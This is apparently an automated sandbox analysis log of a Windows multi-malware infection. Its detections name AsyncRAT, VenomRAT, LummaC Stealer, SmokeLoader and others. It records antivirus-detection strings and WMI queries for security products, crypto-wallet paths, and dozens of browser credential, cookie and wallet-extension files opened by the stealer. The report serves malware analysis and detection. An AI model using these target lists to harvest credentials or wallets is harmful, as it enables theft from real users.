Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedLumma\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedLumma\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA1718 GetSystemTimeAsFileTime,SHSetValueA,SHGetValueA,__aulldiv,__aulldiv, 5_2_00BA1718
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId, 5_2_00BA139F
Source: C:\Users\user\AppData\Local\Temp\753F.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Yara detected AsyncRAT
Source: Yara match File source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5776, type: MEMORYSTR
AV process strings found (often used to terminate AV products)
Source: vm.exe, 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: MSASCui.exe
Source: vm.exe, 00000025.00000003.3562615440.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000003.3445377464.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000003.3553795958.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000003.3435304768.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3755459555.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000003.3313681579.0000000005668000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000003.3672819972.0000000005668000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: vm.exe, 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: procexp.exe
Source: vm.exe, 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: IXDaI.exe PID: 7516, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: IXDaI.exe PID: 7708, type: MEMORYSTR
Yara detected Go Injector
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 27.0.B552.exe.7ff75ee70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.B552.exe.7ff75ee70000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001B.00000000.2227933484.00007FF75F3B0000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2364799277.00007FF75F3B0000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B552.exe PID: 4016, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\B552.exe, type: DROPPED
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BitLockerToGo.exe PID: 4216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lm.exe PID: 7864, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780544287.0000000002131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1780411113.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1462616334.0000000000681000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Found many strings related to Crypto-Wallets (likely being stolen)
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets~)W%
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: BitLockerToGo.exe, 0000001F.00000003.2427860356.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletAU.$
Source: BitLockerToGo.exe, 0000001F.00000003.2427693258.0000000002FD9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Exodus
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\BinanceZy
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 0000001F.00000003.2427860356.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 753F.exe, 0000001C.00000002.2846157779.00007FF7C0B10000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
